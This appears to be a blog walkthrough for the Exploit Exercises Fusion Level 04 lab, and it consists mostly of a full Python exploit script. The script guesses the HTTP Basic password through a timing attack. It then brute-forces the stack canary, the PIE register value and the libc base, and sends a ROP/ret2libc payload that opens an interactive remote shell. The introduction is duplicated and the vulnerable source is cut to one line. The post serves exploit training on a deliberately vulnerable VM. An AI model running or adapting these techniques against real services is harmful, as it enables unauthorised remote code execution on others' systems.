Hello Crazy hackers,
Welcome Again To My Blog. Today, I am going to share my solution for Exploit Exercise Fusion Level 04. Before Sharing This Solution, I just want to express my feeling with you all guyz, This Level was like Insane For Me. Really, Very Painful and Depressed. But ..... : )
I Just want to Say, Only One Point. Here I am share my solution directly. No Extra Line. Because According to my walkthrough experience, if you can't understand below provided solution on your own than, victory of this level will be meaning less.
For Details, Check Here.
Welcome Again To My Blog. Today, I am going to share my solution for Exploit Exercise Fusion Level 04. Before Sharing This Solution, I just want to express my feeling with you all guyz, This Level was like Insane For Me. Really, Very Painful and Depressed. But ..... : )
I Just want to Say, Only One Point. Here I am share my solution directly. No Extra Line. Because According to my walkthrough experience, if you can't understand below provided solution on your own than, victory of this level will be meaning less.
For Details, Check Here.
Source Codes
1 | #include "../common/common.c" |
Hint
Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!
Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes
Exploit
#!/usr/bin/python
import socket
import struct
import time
import base64
import string
import sys
from struct import pack
import telnetlib
# Target
V = ('192.168.56.101', 20004)
PASSWORD = 'lb55usy75Ir6OL26'
CANARY = '\x00\xdc\x03\x89'
EBX = '\xb7\x7b\x2e\x04'
BASE = 0xb760b000
OFFSET = 2032
PASSWORD = None
CANARY = None
EBX = None
BASE = None
OFFSET = None
def get_rop(libc):
# execve /bin/sh generated by RopGadget v3.3
p = struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178020) # @ .data --> will hold /bin
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
p += "/bin"
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178024) # @ .data + 4 --> hold //sh
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
p += "//sh"
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178028) # @ .data + 8 --> goes to ecx
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret --> we put a null there
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178020) # @ .data --> this goes to ebx, which points to str
p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
p += struct.pack("<I", 0x42424242) # padding
p += struct.pack("<I", libc+0x00178028) # @ .data + 8
p += struct.pack("<I", libc+0x00178020) # --> /bin/sh into ebx!
p += struct.pack("<I", libc+0x00001a9e) # pop %edx | ret
p += struct.pack("<I", libc+0x00178028) # @ .data + 8
p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
p += struct.pack("<I", libc+0x0002dd35) # int $0x80
return p
# open /bin/sh
def opensh(base):
r = ''
r += struct.pack("I", base + 0x3cb20) # system
r += 'AAAA'
r += struct.pack("I", base + 0x001388da) # "/bin/sh"
#return get_rop(base) <--- Another Option
return r
# Connect
def connect(IP, PORT):
# send data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
#s.settimeout(1)
return s
# create req
def req(method='GET', path='/', protocol='HTTP/1.1', add = ''):
REQ = ''
REQ += '{} {} {}\r\n'.format(method, path, protocol)
REQ += 'Authorization: Basic '
REQ += base64.standard_b64encode(add)
REQ += '\r\n'*2
#print '[+] Length Of Encoded String : ', len(base64.encodestring(add))
return REQ
# Pass Extraction Function
def guess_pass(IP, PORT):
gpass = ''
l = string.ascii_letters+string.digits
while len(gpass)!=16:
print "[*] Total Character Guessed : ", gpass
print "[-] Trying : "
for i in l:
s= connect(IP, PORT)
REQ = req(add=gpass+i)
t1 = time.time()
s.send(REQ)
s.recv(1024)
t2 = time.time()
if (t2-t1)<0.002:
print "\n[+] New Guess Detected : ", i
print "[+] Time : ", t2-t1
gpass += i
s.close()
break
else:
print i,
s.close()
return gpass
# Offset Finding Function
def find_offset(PASS):
PAYLOAD = 'A'*2000
for i in range(100, 1000):
PAYLOAD += 'A'
s = connect(*V)
s.send(req(add = PASS+PAYLOAD))
time.sleep(0.05)
rcv = s.recv(1024*2)
if 'smashing' in rcv:
print '[+] Output : ', rcv
print '[+] Offset : ', len(PAYLOAD)
offset = len(PAYLOAD)-1
s.close()
print rcv
break
else:
pass
s.close()
sys.stdout.write('\r -> {}'.format(i+2000))
sys.stdout.flush()
return offset
# Find Canary Function
def find_canary(PASS, offset):
canary = ''
for i in range(0, 4):
for j in range(0xFF):
if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
continue
s = connect(*V)
s.send(req(add = PASS+'A'*offset+canary+chr(j)))
time.sleep(0.05)
rcv = s.recv(1024)
if 'smashing' not in rcv:
print '[+] Byte : ', hex(j)
canary += chr(j)
print '[+] Now Canary : ',[hex(ord(i)) for i in canary]
s.close()
#print [rcv]
break
print '[+] Canery Found : ', [canary]
print '[+] Length Of Canary : ', len(canary)
print '\n'*3
return canary
# Find EBX
def find_ebx(PASS, offset, canary):
ebx = ''
print '[+] Finding EBX..'
for i in range(0, 4):
for j in range(0xFF):
if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
continue
try:
s = connect(*V)
s.send(req(add = PASS+'A'*offset+canary+'AAAAAAAAAAAA'+ebx+chr(j)))
time.sleep(0.1)
rcv = s.recv(1024)
if 'smashing' not in rcv:
print '[+] Byte : ', hex(j)
ebx += chr(j)
print '[+] Now EBX : ',[hex(ord(i)) for i in ebx]
s.close()
break
except:
s.close()
print '[+] EBX Found : ', [ebx]
print '[+] Length Of EBX : ', len(ebx)
return ebx
# Ping Back
def pingback(base, pay):
r = pay
r += pack("I", base + 0x00018f4e) # pop ebx ; ret
r += pack("I", base + 0x00175e7d)
r += pack("I", base + 0xc12c0) # write.plt
r += pack("I", 0x01) * 2
r += pack("I", base + 0x0000d729) # "setrlimit" ; string
r += pack("I", 0x0A)
return r
# Find BASE
def find_base(PASS, offset, canary, ebx):
for base in range(0xb7500000, 0xb8000000, 0x1000):
try:
#raw_input('Try.')
s = connect(*V)
s.send(req(add = pingback(base ,PASS+'A'*offset+canary+ebx+'AAAAAAAABBBBBBBBCCCCCCCC')))
s.settimeout(2)
time.sleep(0.05)
rcv = s.recv(1024)
if 'setrlimit' in rcv:
print '[+] Yes! Base Address Detected.'
print "[+] Base Address : ", hex(base)
s.close()
break
s.close()
except:
s.close()
return base
def start_bin(base, PASS, offset, canary, ebx):
s = connect(*V)
s.send(req(add = PASS+'A'*offset+canary+ebx+'AAAAAAAABBBBBBBBCCCCCCCC'+ opensh(base)))
time.sleep(0.5)
#s.settimeout(3)
print s.recv(1024)
print '[+] Maybe We Are Successful To Open A Shell.. Try id'
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
return
# Extract Password
# ===============================================
# =================== Stage 1 ===================
# ===============================================
raw_input("[-] Stage 1 - Password Extraction .[-]\n[+] Ready [Press Enter To Start] : ")
PASS = PASSWORD or guess_pass(*V)
print "[+] Password Found : ", PASS
# Find Offset
# ==================================================
# =================== Stage 2 =====================
# ==================================================
raw_input("[-] Stage 2 - Find Buffer Overflow offset [-]")
PAYLOAD = 'A'*2000
print '[*] Trying Offsets : '
offset = OFFSET or find_offset(PASS)
print "[+] Using Offset : ", offset
# Find Canary Cookie Value
# ===========================================================
# ============== Stage 3 ====================================
# ===========================================================
raw_input('[+]------ Ready To Brute Force CANARY ------------------')
print '[*] Finding Canary'
canary = CANARY or find_canary(PASS, offset)
print '[+] Using CANARY : ', (canary)
# Find EBX value (PIE)
# =================================================================
# ================ finding EBP Value =================================
# =================================================================
raw_input('[+]------ Ready To Brute Force EBX ------------------')
ebx = EBX or find_ebx(PASS, offset, canary)
raw_input('[+]------ Ready To Brute Force libc BASE ------------------')
print '[+] Finding BASE..'
base = BASE or find_base(PASS, offset, canary, ebx)
print "[*] Using Base : ", hex(base)
start_bin(base, PASS, offset, canary, ebx)
exit(0)